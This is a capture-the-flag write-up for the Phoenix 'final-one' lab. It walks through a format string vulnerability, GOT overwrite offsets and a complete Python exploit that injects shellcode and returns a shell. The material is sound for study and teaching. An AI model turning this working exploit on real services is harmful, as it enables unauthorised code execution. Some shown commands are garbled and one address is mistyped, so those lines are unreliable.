16 July 2019

Final 1

Write-up for: https://exploit.education/phoenix/final-one/.

The vulnerability

The second of the final challenges contains a format string vulnerability. User input is used as a format string, potentially allowing memory corruption and remote code execution. The following code is relevant (stripped).

void logit(char *pw) {
  snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n",
      hostname, username, pw);

  fprintf(output, buf);
}

void parser() {
  while (fgets(line, sizeof(line) - 1, stdin)) {
    if (strncmp(line, "username ", 9) == 0) {
      strcpy(username, line + 9);
    } else if (strncmp(line, "login ", 6) == 0) {
        logit(line + 6);
    }
  }
}

The parser function reads from stdin and stores the content of an input containing the string username in the username buffer. Then, once an input containing login is encountered, the logit function is called with the respective string content. In the logit function, both username and the pw argument are used as string arguments for snprintf. Here, the format string functionality is used correctly. The function writes the resulting string to the buf variable. Then fprintf is called with buf as its format string argument. This is the vulnerable call since an attacker can introduce additional format string sequences into buf that are interpreted by fprintf, possibly corrupting memory.

Developing the exploit

As described in the format string challenge write-ups, the printf family of functions will happily take a value from the stack for every format string modifier encountered in the string. It even allows to write data (the number of bytes written so far) by using the %n modifier. So our plan of attack is as follows:

  • Provide an address of a GOT entry we want to overwrite on the stack (as input)
  • Find the argument number of this address
  • Fill the string with padding to overwrite the address with the address of our shellcode that we also provide on the stack

To find the argument number of the provided address we can use the %p modifier to pop values off the stack. Then it’s a matter of trial and error to find the right offset. For testing, there is a local binary under /opt/phoenix/i486 that supports a --testparameter, printing out to stdout. We use python to create the required input string, but you could also explore it interactively.

user@phoenix-amd64:/opt/phoenix/i486$ python -c 'print("username AAAA.%p.%p.%p.%p\nlogin \n")' | ./final-one --test' | ./final-one
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $ [final1] $ Login from testing:12121 as [AAAA.0.0.0x69676f4c.0x7266206e] with password []
login failed

Note that the minimum required input is username A\nlogin \n for the vulnerable code path to be executed. After some experimentation, we reach the following payload:

user@phoenix-amd64:/opt/phoenix/i486$ python -c 'print("username AAAA" + ".%p"*10 + "\nlogin \n")' | ./final-one --test' | ./final-one -
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $ [final1] $ Login from testing:12121 as [AAAA.0.0.0x69676f4c.0x7266206e.0x74206d6f.0x69747365.0x313a676e.0x31323132.0x20736120.0x4141415b] with password []
login failed

The 10th value popped from the stack is 0x4141415b. This indicates that there is an alignment issue for using our provided value. We need to ensure that our fake address is aligned correctly which we can achieve easily by padding it with one more character.

Now that we have our address as an argument at the 10th position, we can use the %n modifier to write data to this address. First, let’s find a suitable address to overwrite. When I did this challenge I tried embarassingly long to overwrite the GOT entry of fprintf because I assumed the vulnerable call was to snprintf. But as stated above, fprintf is the vulnerable call. After spending way too long trying to figure out why the program was segfaulting in strange ways, I realized my mistake. We need to overwrite a function address that we can be sure is called after logit. A good candidate is printf which is called all the time in parser. We can find the GOT entry address with objdump:

user@phoenix-amd64:/opt/phoenix/i486$ objdump -R final-one | grep printf
08049e48 R_386_JUMP_SLOT   printf

So, the address we want to overwrite is 0x0849e48. We can figure out the value we want to overwrite it with by adding a dummy shellcode in our buffer (the password parameter is a good place to put it, otherwise we might have too little space in the 128 byte lines) and finding it in gdb. Similar to the previous challenge we can attach to the systemd process and follow forks.

Since the remainder of the challenge is very similar to the previous format string challenges, I will jump straight to the exploit code. Note that we deploy a similar 2-byte write technique to avoid huge data transfer over the network. Another tricky aspect is getting to the correct number of bytes to pad our payload with since it depends on the origin of the connection, as seen in this part of the code:

  sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));

I emulate this behavior and use it in my calculation. Additionally, the “X 4-byte address AAAA 4-byte address” string equates to another 13 bytes written. Lastly, we write 9 one byte values using “%c” which results in the final length calculation seen in the exploit.

import struct
import socket
import pwnlib

HOST = "127.0.0.1"
PORT = 64014

PRINTF_GOT_ADDR = 0x08049e48
SHELLCODE_ADDR = 0xffffdcb8 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

#number of printed bytes is variable depending on the local IPv4 address and port
sockname = s.getsockname()
printf_str = "Login from " + sockname[0] + ":" + str(sockname[1]) + " as ["

buf = "username X" 
buf += struct.pack("<I", PRINTF_GOT_ADDR) + "AAAA"
buf += struct.pack("<I", PRINTF_GOT_ADDR + 2)
buf += "%" + str(0xdcb8 - 22 - len(printf_str)) + "x" + "%c" * 9  + "%n" # byte 1 & 2, addr is 10th argument on the stack
buf += "%" + str(0xffff - 0xdcb8) + "x" + "%n" # third byte and fourth byte
buf += "\nlogin AA" + pwnlib.encoders.encoder.encode(pwnlib.asm.asm(pwnlib.shellcraft.i386.linux.sh()), "\n\r\0%") + "\n\n" # trigger format string vulnerability in logit

print(s.recv(1024))
print("# sending payload.")
s.sendall(buf)
print(s.recv(1024))

print("# we have a shell now.")
while True:
    s.sendall(raw_input() + "\n")
    print(s.recv(1024))

For this exploit, the 2-byte write technique is easier since the second write is larger than the first (that is there need to be more bytes written). This means we do not need to make use of an overflowing value. As a shellcode, we again use the sh() function built into pwnlib.

Let’s run it:

user@phoenix-amd64:~$ python final1_x86.py
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $
# sending payload.
[final1] $ login failed

# we have a shell now.
id
uid=520(phoenix-i386-final-one) gid=520(phoenix-i386-final-one) groups=520(phoenix-i386-final-one)

Success! Lesson learned for this challenge: always make sure you understand the vulnerability before trying to exploit it..